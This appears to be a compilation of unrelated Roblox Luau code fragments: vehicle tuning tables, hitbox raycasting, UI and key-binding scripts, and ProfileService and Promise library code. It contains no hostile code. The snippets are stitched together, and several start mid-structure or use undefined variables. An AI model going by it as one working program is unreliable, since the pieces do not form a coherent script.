local prev local parts = script.Parent:GetChildren() for i = 1,#parts do if (parts[i].className == "Part") or (parts[i].className == "VehicleSeat") then if (prev ~= nil)then local weld = Instance.new("Weld") weld.Part0 = prev weld.Part1 = parts[i] weld.C0 = prev.CFrame:inverse() weld.C1 = parts[i].CFrame:inverse() weld.Parent = prev end prev = parts[i] end end
---SG Is Here--- ---Please Dont Change Anything Can Dont Work If You Change--
local player = game.Players.LocalPlayer local stats = player:WaitForChild("leaderstats") local coins = stats:WaitForChild("Clicks") local text = script.Parent text.Text = "Clicks: "..coins.Value coins:GetPropertyChangedSignal("Value"):Connect(function() text.Text = "Clicks: "..coins.Value end)
--[[ Calls a callback on `finally` with specific arguments. ]]
function Promise.prototype:finallyCall(callback, ...) assert(type(callback) == "function", string.format(ERROR_NON_FUNCTION, "Promise:finallyCall")) local length, values = pack(...) return self:_finally(debug.traceback(nil, 2), function() return callback(unpack(values, 1, length)) end) end Promise.prototype.FinallyCall = Promise.prototype.finallyCall
--[[ [ Note: Make sure to invoke these remotes using :Invoke(), and also invoke them from the SERVER, not from the client. ] - GiveItems [instance Player] [string Item name] (optional number amount) - SetTicks [number Ticks] -- Changes time of day - Gamemode does not work yet. ]]
return nil
--[[Engine]]
--Torque Curve Tune.Horsepower = 330 -- [TORQUE CURVE VISUAL] Tune.IdleRPM = 700 -- https://www.desmos.com/calculator/2uo3hqwdhf Tune.PeakRPM = 9000 -- Use sliders to manipulate values Tune.Redline = 9000 -- Copy and paste slider values into the respective tune values Tune.EqPoint = 5600 Tune.PeakSharpness = 25 Tune.CurveMult = 0.55 --Incline Compensation Tune.InclineComp = 1.3 -- Torque compensation multiplier for inclines (applies gradient from 0-90 degrees) --Misc Tune.RevAccel = 150 -- RPM acceleration when clutch is off Tune.RevDecay = 75 -- RPM decay when clutch is off Tune.RevBounce = 500 -- RPM kickback from redline Tune.IdleThrottle = 3 -- Percent throttle at idle Tune.ClutchTol = 500 -- Clutch engagement threshold (higher = faster response)
--------
Thread:Spawn(function() while true do for Index, Object in ipairs(ActiveHitboxes) do if Object.deleted then Handler:remove(Object.object) else for _, Point in ipairs(Object.points) do if not Object.active then Point.LastPosition = nil else local rayStart, rayDir, RelativePointToWorld, debugPart = Point.solver:solve(Point, game:GetService("ReplicatedStorage"):WaitForChild("ClientSettings").Debug.Value) local function castFunction(rayStart, rayDir, params) local resultOfCast = workspace:Raycast(rayStart, rayDir, params) if resultOfCast then local hitInstance = resultOfCast.Instance if hitInstance.Parent:IsA("Accoutrement") then table.insert(params.FilterDescendantsInstances, hitInstance) resultOfCast = nil end end return resultOfCast end local raycastResult = castFunction(rayStart, rayDir, Object.raycastParams) Point.solver:lastPosition(Point, RelativePointToWorld) if raycastResult then local hitPart = raycastResult.Instance local findModel = not Object.partMode and hitPart:FindFirstAncestorOfClass("Model") local humanoid = findModel and findModel:FindFirstChildOfClass("Humanoid") local target = humanoid or (Object.partMode and hitPart) if target and not Object.targetsHit[target] then Object.targetsHit[target] = true if debugPart ~= nil and typeof(debugPart) == "Instance" then debugPart.Color = Color3.fromRGB(85, 255, 0) end Object.OnHit:Fire(hitPart, humanoid, raycastResult, Point.group) end end if Object.endTime > 0 then if Object.endTime <= clock() then Object.endTime = 0 Object:HitStop() end end Object.OnUpdate:Fire(Point.LastPosition) end end end end Thread:Wait(0.028) end end) return Handler
--Tell if a seat is flipped
local function isFlipped(Seat) local UpVector = Seat.CFrame.upVector local Angle = math.deg(math.acos(UpVector:Dot(Vector3.new(0, 1, 0)))) return Angle >= MIN_FLIP_ANGLE end local function createPrompt(prompt, inputType) local seat = prompt.Parent.Parent local buttonGui = script:WaitForChild("ButtonGuiPrototype") local promptUI = buttonGui:Clone() promptUI.Name = "ButtonGui" promptUI.Enabled = true promptUI.Adornee = prompt.Parent local EnterImageButton = promptUI:WaitForChild("ButtonImage") local FlipImageButton = promptUI:WaitForChild("FlipImage") local BackgroundDesktop = promptUI:WaitForChild("BackgroundDesktop") local BackgroundConsole = promptUI:WaitForChild("BackgroundConsole") local ButtonPrompt = promptUI:WaitForChild("ButtonPrompt") --Switch button type local DriverButtonId local DriverButtonPressedId local PassengerButtonId local PassengerButtonPressedId if inputType == Enum.ProximityPromptInputType.Keyboard then DriverButtonId = "rbxassetid://2848250902" DriverButtonPressedId = "rbxassetid://2848250902" PassengerButtonId = "rbxassetid://2848251564" PassengerButtonPressedId = "rbxassetid://2848251564" EnterImageButton.Size = UDim2.new(0, 36, 0, 36) FlipImageButton.Image = "rbxassetid://2848307983" FlipImageButton:WaitForChild("Pressed").Image = "rbxassetid://2848307983" FlipImageButton.Size = UDim2.new(0, 44, 0, 44) BackgroundConsole.Visible = false BackgroundDesktop.Visible = true BackgroundDesktop.Size = UDim2.new(0, 97, 0, 46) BackgroundDesktop.Position = UDim2.new(0.5, 28, 0.5, 0) ButtonPrompt.Visible = true ButtonPrompt.Image = "rbxassetid://2935912536" ButtonPrompt.Size = UDim2.new(0, 36, 0, 36) ButtonPrompt.Position = UDim2.new(0.5, -46, 0.5, 0) ButtonPrompt.TextLabel.Visible = true --Display the correct key ButtonPrompt.TextLabel.Text = Keymap.EnterVehicleKeyboard.Name elseif inputType == Enum.ProximityPromptInputType.Gamepad then DriverButtonId = "rbxassetid://2848635029" DriverButtonPressedId = "rbxassetid://2848635029" PassengerButtonId = "rbxassetid://2848636545" PassengerButtonPressedId = "rbxassetid://2848636545" EnterImageButton.Size = UDim2.new(0, 60, 0, 60) FlipImageButton.Image = "rbxassetid://2848307983" FlipImageButton:WaitForChild("Pressed").Image = "rbxassetid://2848307983" FlipImageButton.Size = UDim2.new(0, 44, 0, 44) BackgroundDesktop.Visible = false BackgroundConsole.Visible = true BackgroundConsole.Size = UDim2.new(0, 136, 0, 66) BackgroundConsole.Position = UDim2.new(0.5, 40, 0.5, 0) ButtonPrompt.Visible = true --ButtonPrompt.Image = "rbxassetid://408462759" ButtonPrompt.Size = UDim2.new(0, 46, 0, 46) ButtonPrompt.Position = UDim2.new(0.5, -63, 0.5, 0) ButtonPrompt.ImageRectSize = Vector2.new(71, 71) ButtonPrompt.ImageRectOffset = Vector2.new(512, 600) ButtonPrompt.TextLabel.Visible = false --Set the correct image for the gamepad button prompt local template = InputImageLibrary:GetImageLabel(Keymap.EnterVehicleGamepad, "Light") ButtonPrompt.Image = template.Image ButtonPrompt.ImageRectOffset = template.ImageRectOffset ButtonPrompt.ImageRectSize = template.ImageRectSize elseif inputType == Enum.ProximityPromptInputType.Touch then BackgroundDesktop.Visible = false BackgroundConsole.Visible = false ButtonPrompt.Visible = false DriverButtonId = "rbxassetid://2847898200" DriverButtonPressedId = "rbxassetid://2847898354" PassengerButtonId = "rbxassetid://2848217831" PassengerButtonPressedId = "rbxassetid://2848218107" EnterImageButton.Size = UDim2.new(0, 44, 0, 44) FlipImageButton.Image = "rbxassetid://2848187559" FlipImageButton:WaitForChild("Pressed").Image = "rbxassetid://2848187982" FlipImageButton.Size = UDim2.new(0, 44, 0, 44) EnterImageButton.InputBegan:Connect(function(input) prompt:InputHoldBegin() end) EnterImageButton.InputEnded:Connect(function(input) prompt:InputHoldEnd() end) FlipImageButton.InputBegan:Connect(function(input) prompt:InputHoldBegin() end) FlipImageButton.InputEnded:Connect(function(input) prompt:InputHoldEnd() end) promptUI.Active = true end if isFlipped(seat) then FlipImageButton.Visible = true EnterImageButton.Visible = false else FlipImageButton.Visible = false EnterImageButton.Visible = true end if seat.Name == "VehicleSeat" then EnterImageButton.Image = DriverButtonId EnterImageButton.Pressed.Image = DriverButtonPressedId else EnterImageButton.Image = PassengerButtonId EnterImageButton.Pressed.Image = PassengerButtonPressedId end return promptUI end ProximityPromptService.PromptShown:Connect(function(prompt, inputType) if prompt.Name == "EndorsedVehicleProximityPromptV1" then local promptUI = createPrompt(prompt, inputType) promptUI.Parent = screenGui prompt.PromptHidden:Wait() promptUI.Parent = nil end end)
--// Bullet Physics
BulletPhysics = Vector3.new(0,58,0); -- Drop fixation: Lower number = more drop BulletSpeed = 1200; -- Bullet Speed BulletSpread = 0; -- How much spread the bullet has ExploPhysics = Vector3.new(0,20,0); -- Drop for explosive rounds ExploSpeed = 600; -- Speed for explosive rounds BulletDecay = 120; -- How far the bullet travels before slowing down and being deleted (BUGGY)
-- constants
local PLAYER = Players.LocalPlayer local REMOTES = ReplicatedStorage:WaitForChild("Remotes") local GUI = script.Parent local INFO_GUI = GUI:WaitForChild("InfoFrame") local MAP_GUI = GUI:WaitForChild("Minimap")
---------------------------------------------------------------------------------------------------- ------------------=[ Status UI ]=------------------------------------------------------------------- ----------------------------------------------------------------------------------------------------
,EnableStatusUI = true --- Don't disabled it... ,RunWalkSpeed = 18 ,NormalWalkSpeed = 12 ,SlowPaceWalkSpeed = 6 ,CrouchWalkSpeed = 6 ,ProneWalksSpeed = 3 ,InjuredWalksSpeed = 8 ,InjuredCrouchWalkSpeed = 4 ,EnableHunger = false --- Hunger and Thirst system (Removed) ,HungerWaitTime = 25 ,CanDrown = true --- Glub glub glub *ded* ,EnableStamina = false --- Weapon Sway based on stamina (Unused) ,RunValue = 1 --- Stamina consumption ,StandRecover = .25 --- Stamina recovery while stading ,CrouchRecover = .5 --- Stamina recovery while crouching ,ProneRecover = 1 --- Stamina recovery while lying ,EnableGPS = false --- GPS shows your allies around you ,GPSdistance = 150 ,InteractionMenuKey = Enum.KeyCode.LeftAlt
-- local Madwork = _G.Madwork --[[ {Madwork} -[ProfileService]--------------------------------------- (STANDALONE VERSION) DataStore profiles - universal session-locked savable table API Official documentation: https://madstudioroblox.github.io/ProfileService/ DevForum discussion: https://devforum.roblox.com/t/ProfileService/667805 WARNINGS FOR "Profile.Data" VALUES: ! Do not create numeric tables with gaps - attempting to replicate such tables will result in an error; ! Do not create mixed tables (some values indexed by number and others by string key), as only the data indexed by number will be replicated. ! Do not index tables by anything other than numbers and strings. ! Do not reference Roblox Instances ! Do not reference userdata (Vector3, Color3, CFrame...) - Serialize userdata before referencing ! Do not reference functions WARNING: Calling ProfileStore:LoadProfileAsync() with a "profile_key" which wasn't released in the SAME SESSION will result in an error! If you want to "ProfileStore:LoadProfileAsync()" instead of using the already loaded profile, :Release() the old Profile object. Members: ProfileService.ServiceLocked [bool] ProfileService.IssueSignal [ScriptSignal] (error_message, profile_store_name, profile_key) ProfileService.CorruptionSignal [ScriptSignal] (profile_store_name, profile_key) ProfileService.CriticalStateSignal [ScriptSignal] (is_critical_state) Functions: ProfileService.GetProfileStore(profile_store_index, profile_template) --> [ProfileStore] profile_store_index [string] -- DataStore name OR profile_store_index [table]: -- Allows the developer to define more GlobalDataStore variables { Name = "StoreName", -- [string] -- DataStore name -- Optional arguments: Scope = "StoreScope", -- [string] -- DataStore scope } profile_template [table] -- Profiles will default to given table (hard-copy) when no data was saved previously ProfileService.IsLive() --> [bool] -- (CAN YIELD!!!) -- Returns true if ProfileService is connected to live Roblox DataStores Members [ProfileStore]: ProfileStore.Mock [ProfileStore] -- Reflection of ProfileStore methods, but the methods will use a mock DataStore Methods [ProfileStore]: ProfileStore:LoadProfileAsync(profile_key, not_released_handler) --> [Profile] or nil -- not_released_handler(place_id, game_job_id) profile_key [string] -- DataStore key not_released_handler nil or []: -- Defaults to "ForceLoad" [string] "ForceLoad" -- Force loads profile on first call OR [string] "Steal" -- Steals the profile ignoring it's session lock OR [function] (place_id, game_job_id) --> [string] "Repeat", "Cancel", "ForceLoad" or "Steal" place_id [number] or nil game_job_id [string] or nil -- not_released_handler [function] will be triggered in cases where the profile is not released by a session. This -- function may yield for as long as desirable and must return one of three string values: ["Repeat"] - ProfileService will repeat the profile loading proccess and may trigger the release handler again ["Cancel"] - ProfileStore:LoadProfileAsync() will immediately return nil ["ForceLoad"] - ProfileService will repeat the profile loading call, but will return Profile object afterwards and release the profile for another session that has loaded the profile ["Steal"] - The profile will usually be loaded immediately, ignoring an existing remote session lock and applying a session lock for this session. ProfileStore:GlobalUpdateProfileAsync(profile_key, update_handler) --> [GlobalUpdates] or nil -- Returns GlobalUpdates object if update was successful, otherwise returns nil profile_key [string] -- DataStore key update_handler [function] (global_updates [GlobalUpdates]) ProfileStore:ViewProfileAsync(profile_key, version) --> [Profile] or nil -- Reads profile without requesting a session lock; Data will not be saved and profile doesn't need to be released profile_key [string] -- DataStore key version nil or [string] -- DataStore key version ProfileStore:ProfileVersionQuery(profile_key, sort_direction, min_date, max_date) --> [ProfileVersionQuery] profile_key [string] sort_direction nil or [Enum.SortDirection] min_date nil or [DateTime] max_date nil or [DateTime] ProfileStore:WipeProfileAsync(profile_key) --> is_wipe_successful [bool] -- Completely wipes out profile data from the DataStore / mock DataStore with no way to recover it. * Parameter description for "ProfileStore:GlobalUpdateProfileAsync()": profile_key [string] -- DataStore key update_handler [function] (GlobalUpdates) -- This function gains access to GlobalUpdates object methods (update_handler can't yield) Methods [ProfileVersionQuery]: ProfileVersionQuery:NextAsync() --> [Profile] or nil -- (Yields) -- Returned profile has the same rules as profile returned by :ViewProfileAsync() Members [Profile]: Profile.Data [table] -- Writable table that gets saved automatically and once the profile is released Profile.MetaData [table] (Read-only) -- Information about this profile Profile.MetaData.ProfileCreateTime [number] (Read-only) -- os.time() timestamp of profile creation Profile.MetaData.SessionLoadCount [number] (Read-only) -- Amount of times the profile was loaded Profile.MetaData.ActiveSession [table] (Read-only) {place_id, game_job_id} / nil -- Set to a session link if a game session is currently having this profile loaded; nil if released Profile.MetaData.MetaTags [table] {["tag_name"] = tag_value, ...} -- Saved and auto-saved just like Profile.Data Profile.MetaData.MetaTagsLatest [table] (Read-only) -- Latest version of MetaData.MetaTags that was definetly saved to DataStore (You can use Profile.MetaData.MetaTagsLatest for product purchase save confirmation, but create a system to clear old tags after they pile up) Profile.MetaTagsUpdated [ScriptSignal] (meta_tags_latest) -- Fires after every auto-save, after -- Profile.MetaData.MetaTagsLatest has been updated with the version that's guaranteed to be saved; -- .MetaTagsUpdated will fire regardless of whether .MetaTagsLatest changed after update; -- .MetaTagsUpdated may fire after the Profile is released - changes to Profile.Data are not saved -- after release. Profile.RobloxMetaData [table] -- Writable table that gets saved automatically and once the profile is released Profile.UserIds [table] -- (Read-only) -- {user_id [number], ...} -- User ids associated with this profile Profile.KeyInfo [DataStoreKeyInfo] Profile.KeyInfoUpdated [ScriptSignal] (key_info [DataStoreKeyInfo]) Profile.GlobalUpdates [GlobalUpdates] Methods [Profile]: -- SAFE METHODS - Will not error after profile expires: Profile:IsActive() --> [bool] -- Returns true while the profile is active and can be written to Profile:GetMetaTag(tag_name) --> value [any] tag_name [string] Profile:Reconcile() -- Fills in missing (nil) [string_key] = [value] pairs to the Profile.Data structure Profile:ListenToRelease(listener) --> [ScriptConnection] (place_id / nil, game_job_id / nil) -- WARNING: Profiles can be released externally if another session force-loads -- this profile - use :ListenToRelease() to handle player leaving cleanup. Profile:Release() -- Call after the session has finished working with this profile e.g., after the player leaves (Profile object will become expired) (Does not yield) Profile:ListenToHopReady(listener) --> [ScriptConnection] () -- Passed listener will be executed after the releasing UpdateAsync call finishes; -- Wrap universe teleport requests with this method AFTER releasing the profile to improve session lock sharing between universe places; -- :ListenToHopReady() will usually call the listener in around a second, but may ocassionally take up to 7 seconds when a release happens -- next to an auto-update in regular usage scenarios. Profile:AddUserId(user_id) -- Associates user_id with profile (GDPR compliance) user_id [number] Profile:RemoveUserId(user_id) -- Unassociates user_id with profile (safe function) user_id [number] Profile:Identify() --> [string] -- Returns a string containing DataStore name, scope and key; Used for debug; -- Example return: "[Store:"GameData";Scope:"Live";Key:"Player_2312310"]" Profile:SetMetaTag(tag_name, value) -- Equivalent of Profile.MetaData.MetaTags[tag_name] = value tag_name [string] value [any] Profile:Save() -- Call to quickly progress global update state or to speed up save validation processes (Does not yield) -- VIEW-MODE ONLY: Profile:ClearGlobalUpdates() -- Clears all global updates data from a profile payload Profile:OverwriteAsync() -- (Yields) Saves the profile payload to the DataStore and removes the session lock Methods [GlobalUpdates]: -- ALWAYS PUBLIC: GlobalUpdates:GetActiveUpdates() --> [table] {{update_id, update_data [table]}, ...} GlobalUpdates:GetLockedUpdates() --> [table] {{update_id, update_data [table]}, ...} -- ONLY WHEN FROM "Profile.GlobalUpdates": GlobalUpdates:ListenToNewActiveUpdate(listener) --> [ScriptConnection] (update_id, update_data) update_data [table] GlobalUpdates:ListenToNewLockedUpdate(listener) --> [ScriptConnection] (update_id, update_data) update_data [table] GlobalUpdates:LockActiveUpdate(update_id) -- WARNING: will error after profile expires GlobalUpdates:ClearLockedUpdate(update_id) -- WARNING: will error after profile expires -- EXPOSED TO "update_handler" DURING ProfileStore:GlobalUpdateProfileAsync() CALL GlobalUpdates:AddActiveUpdate(update_data) update_data [table] GlobalUpdates:ChangeActiveUpdate(update_id, update_data) update_data [table] GlobalUpdates:ClearActiveUpdate(update_id) --]]
local SETTINGS = { AutoSaveProfiles = 30, -- Seconds (This value may vary - ProfileService will split the auto save load evenly in the given time) RobloxWriteCooldown = 7, -- Seconds between successive DataStore calls for the same key ForceLoadMaxSteps = 8, -- Steps taken before ForceLoad request steals the active session for a profile AssumeDeadSessionLock = 30 * 60, -- (seconds) If a profile hasn't been updated for 30 minutes, assume the session lock is dead -- As of writing, os.time() is not completely reliable, so we can only assume session locks are dead after a significant amount of time. IssueCountForCriticalState = 5, -- Issues to collect to announce critical state IssueLast = 120, -- Seconds CriticalStateLast = 120, -- Seconds MetaTagsUpdatedValues = { -- Technical stuff - do not alter ProfileCreateTime = true, SessionLoadCount = true, ActiveSession = true, ForceLoadSession = true, LastUpdate = true, }, } local Madwork -- Standalone Madwork reference for portable version of ProfileService do local MadworkScriptSignal = {} local FreeRunnerThread = nil local function AcquireRunnerThreadAndCallEventHandler(fn, ...) local acquired_runner_thread = FreeRunnerThread FreeRunnerThread = nil fn(...) FreeRunnerThread = acquired_runner_thread end local function RunEventHandlerInFreeThread(...) AcquireRunnerThreadAndCallEventHandler(...) while true do AcquireRunnerThreadAndCallEventHandler(coroutine.yield()) end end -- ScriptConnection object: local ScriptConnection = { --[[ _listener = listener, _script_signal = script_signal, _disconnect_listener = disconnect_listener, _disconnect_param = disconnect_param, _next = next_script_connection, _is_connected = is_connected, --]] } ScriptConnection.__index = ScriptConnection function ScriptConnection:Disconnect() if self._is_connected == false then return end self._is_connected = false self._script_signal._listener_count -= 1 if self._script_signal._head == self then self._script_signal._head = self._next else local prev = self._script_signal._head while prev ~= nil and prev._next ~= self do prev = prev._next end if prev ~= nil then prev._next = self._next end end if self._disconnect_listener ~= nil then if not FreeRunnerThread then FreeRunnerThread = coroutine.create(RunEventHandlerInFreeThread) end task.spawn(FreeRunnerThread, self._disconnect_listener, self._disconnect_param) self._disconnect_listener = nil end end -- ScriptSignal object: local ScriptSignal = { --[[ _head = nil, _listener_count = 0, --]] } ScriptSignal.__index = ScriptSignal function ScriptSignal:Connect(listener, disconnect_listener, disconnect_param) --> [ScriptConnection] local script_connection = { _listener = listener, _script_signal = self, _disconnect_listener = disconnect_listener, _disconnect_param = disconnect_param, _next = self._head, _is_connected = true, } setmetatable(script_connection, ScriptConnection) self._head = script_connection self._listener_count += 1 return script_connection end function ScriptSignal:GetListenerCount() --> [number] return self._listener_count end function ScriptSignal:Fire(...) local item = self._head while item ~= nil do if item._is_connected == true then if not FreeRunnerThread then FreeRunnerThread = coroutine.create(RunEventHandlerInFreeThread) end task.spawn(FreeRunnerThread, item._listener, ...) end item = item._next end end function ScriptSignal:FireUntil(continue_callback, ...) local item = self._head while item ~= nil do if item._is_connected == true then item._listener(...) if continue_callback() ~= true then return end end item = item._next end end function MadworkScriptSignal.NewScriptSignal() --> [ScriptSignal] return { _head = nil, _listener_count = 0, Connect = ScriptSignal.Connect, GetListenerCount = ScriptSignal.GetListenerCount, Fire = ScriptSignal.Fire, FireUntil = ScriptSignal.FireUntil, } end -- Madwork framework namespace: Madwork = { NewScriptSignal = MadworkScriptSignal.NewScriptSignal, ConnectToOnClose = function(task, run_in_studio_mode) if game:GetService("RunService"):IsStudio() == false or run_in_studio_mode == true then game:BindToClose(task) end end, } end
--[[Susupension]]
Tune.SusEnabled = true -- Sets whether suspension is enabled for PGS Tune.LegacySusEn = true -- Sets whether suspension is enabled for Legacy Physics (Same values may vary in tune) --Front Suspension Tune.FSusStiffness = 25000 -- Spring Force Tune.FSusDamping = 400 -- Spring Dampening Tune.FAntiRoll = 400 -- Anti-Roll (Gyro Dampening) Tune.FSusLength = 1.9 -- Resting Suspension length (in studs) Tune.FPreCompress = .1 -- Pre-compression adds resting length force Tune.FExtensionLim = .4 -- Max Extension Travel (in studs) Tune.FCompressLim = .2 -- Max Compression Travel (in studs) Tune.FSusAngle = 75 -- Suspension Angle (degrees from horizontal) Tune.FWsBoneLen = 5 -- Wishbone Length Tune.FWsBoneAngle = 2 -- Wishbone angle (degrees from horizontal) Tune.FAnchorOffset = { -- Suspension anchor point offset (relative to center of wheel) --[[Lateral]] -.4 , -- positive = outward --[[Vertical]] -.5 , -- positive = upward --[[Forward]] 0 } -- positive = forward --Rear Suspension Tune.RSusStiffness = 20000 -- Spring Force Tune.RSusDamping = 400 -- Spring Dampening Tune.RAntiRoll = 400 -- Anti-Roll (Gyro Dampening) Tune.RSusLength = 2.1 -- Resting Suspension length (in studs) Tune.RPreCompress = .1 -- Pre-compression adds resting length force Tune.RExtensionLim = .4 -- Max Extension Travel (in studs) Tune.RCompressLim = .2 -- Max Compression Travel (in studs) Tune.RSusAngle = 80 -- Suspension Angle (degrees from horizontal) Tune.RWsBoneLen = 5 -- Wishbone Length Tune.RWsBoneAngle = 2 -- Wishbone angle (degrees from horizontal) Tune.RAnchorOffset = { -- Suspension anchor point offset (relative to center of wheel) --[[Lateral]] -.4 , -- positive = outward --[[Vertical]] -.5 , -- positive = upward --[[Forward]] 0 } -- positive = forward --Aesthetics (PGS ONLY) Tune.SusVisible = true -- Spring Visible Tune.WsBVisible = false -- Wishbone Visible Tune.SusRadius = .2 -- Suspension Coil Radius Tune.SusThickness = .1 -- Suspension Coil Thickness Tune.SusColor = "Bronze" -- Suspension Color [BrickColor] Tune.SusCoilCount = 8 -- Suspension Coil Count Tune.WsColor = "Black" -- Wishbone Color [BrickColor] Tune.WsThickness = .1 -- Wishbone Rod Thickness
--[[ Connects the events for UI state. Connects the events for item addition/removal in the given store. The `selector` is a function that takes the store's state as an argument and returns the items table from it. Returns a Rodux Signal class. This has the same API as RBXScriptSignal but lowercase. For example: ```lua local store = Rodux.Store.new(reducer) local conn = itemEvents.connect(store) conn:disconnect() ``` ]]
function itemEvents.connect(store, selector: (table) -> itemInfo.State) return store.changed:connect(function(newState: table, oldState: table) local oldItemInfo = selector(oldState) local newItemInfo = selector(newState) if oldItemInfo == newItemInfo then return end for newId, newInfo in pairs(newItemInfo) do if not oldItemInfo[newId] then -- IDs are converted to number for consistency with the addItemAsync API itemEvents.itemAdded:Fire(tonumber(newId), newInfo) end end for oldId, _ in pairs(oldItemInfo) do if not newItemInfo[oldId] then itemEvents.itemRemoved:Fire(tonumber(oldId)) end end end) end return itemEvents
-- при добавлении и удалении потомка
sf.ChildAdded:Connect(UpdateSize) sf.ChildRemoved:Connect(UpdateSize)
--// F key, Horn
uis.InputEnded:connect(function(input) if input.KeyCode==Enum.KeyCode.ButtonL3 or input.KeyCode==Enum.KeyCode.F then script.Parent.Parent.Horn.TextTransparency = 0.8 veh.Lightbar.middle.Airhorn:Stop() veh.Lightbar.middle.Wail.Volume = 1 veh.Lightbar.middle.Yelp.Volume = 1 veh.Lightbar.middle.Priority.Volume = 1 script.Parent.Parent.MBOV.Visible = true script.Parent.Parent.MBOV.Text = "Made by OfficerVargas" end end) uis.InputBegan:connect(function(input) if input.Keycode==Enum.KeyCode.LeftBracket then veh.Lightbar.middle.Beep:Play() veh.Lightbar.TakedownEvent:FireServer(true) end end) uis.InputBegan:connect(function(input) if input.KeyCode==Enum.KeyCode.J or input.KeyCode==Enum.KeyCode.DPadUp then veh.Lightbar.middle.Beep:Play() veh.Lightbar.RemoteEvent:FireServer(true) end end)
--[=[ Takes in an observable of brios and returns an observable of the inner values that will also output nil if there is no other value for the brio. @param emitOnDeathValue U @return (source: Observable<Brio<T> | T>) -> Observable<T | U> ]=]
function RxBrioUtils.emitOnDeath(emitOnDeathValue) return Rx.switchMap(RxBrioUtils.mapBrioToEmitOnDeathObservable(emitOnDeathValue)); end